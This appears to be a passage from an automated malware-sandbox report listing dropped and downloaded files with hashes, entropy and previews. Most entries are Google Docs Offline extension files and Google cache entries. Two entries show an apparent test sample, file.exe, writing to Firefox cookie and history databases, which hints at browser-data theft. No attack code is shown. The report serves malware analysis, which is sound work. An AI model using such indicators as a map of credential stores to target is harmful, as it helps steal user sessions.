Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2777)
Category:	downloaded
Size (bytes):	2782
Entropy (8bit):	5.83086094733264
Encrypted:	false
SSDEEP:	48:8/NKlgZ01daBDkYIbx6666XuoeGcjv/Q1yTvWmQCisS7aR6yW+0rGw+quSEqmfff:pliQYIN6666XBedjHLPyaZd7fffQfo
MD5:	16B7F16E78D99E8AE6D2555F2C78AF56
SHA1:	881ACCB370D72912E0CB499E366898C70BA30B74
SHA-256:	90456CFB5A29DFB820C436D2B06E80C5596288C6A2CF87440A286095A888281A
SHA-512:	36C72BE01D8A9C29DBB34F987D20CC944DC1381E6917682DA04378D11BC2C5B0C1FA021347188CF351DE995B95B824444A74BCC2E40BBD3AF523A7AF9F6AAAC6
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["17th street high heel race","powerball jackpot lottery numbers","tekken 8 patch notes","hurricanes tropical storms","marc andre fleury","reviews dragon age the veilguard","walmart black friday sales","wwe raw results"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CgkvbS8wMnFwcjUSHkNhbmFkaWFuIGljZSBob2NrZXkgZ29hbHRlbmRlcjK/CmRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBQzRBUUFNQklnQUNFUUVERVFIL3hBQWNBQUFDQXdBREFRQUFBQUFBQUFBQUFBQUFCd1VHQ0FJREJBSC94QUF2RUFBQkF3UUJBZ0lKQlFFQUFBQUFBQUFCQWdNRUFBVVJJUklHTVJOQkJ4UWlVV0Z5Z2JIQkZU

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133762
Entropy (8bit):	5.436731965253238
Encrypted:	false
SSDEEP:	3072:2PKvjxd0QniyZ+qQf4VBNQ0pqdvx7U+OUaKszQ:EKvv0yTVBNQ0pKvxI+ORQ
MD5:	1D2FB8F2A1859327B142BF8BA32CDDD0
SHA1:	5650B06B21B5799576708E67365A52DFD15CF8E4
SHA-256:	F565343FD4926E4C9345B129B6AAB1011DEB48DF33A5C9307DD9FA17404FE89B
SHA-512:	DADD6953B6C79B00616BDCB2FE5757EAB2DB1C3714CA9EDB57C794BDA1106513B1BC10953FC00B767B73CAD5EE541AED256518C0DBE51E045164B9FFB68173EA
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 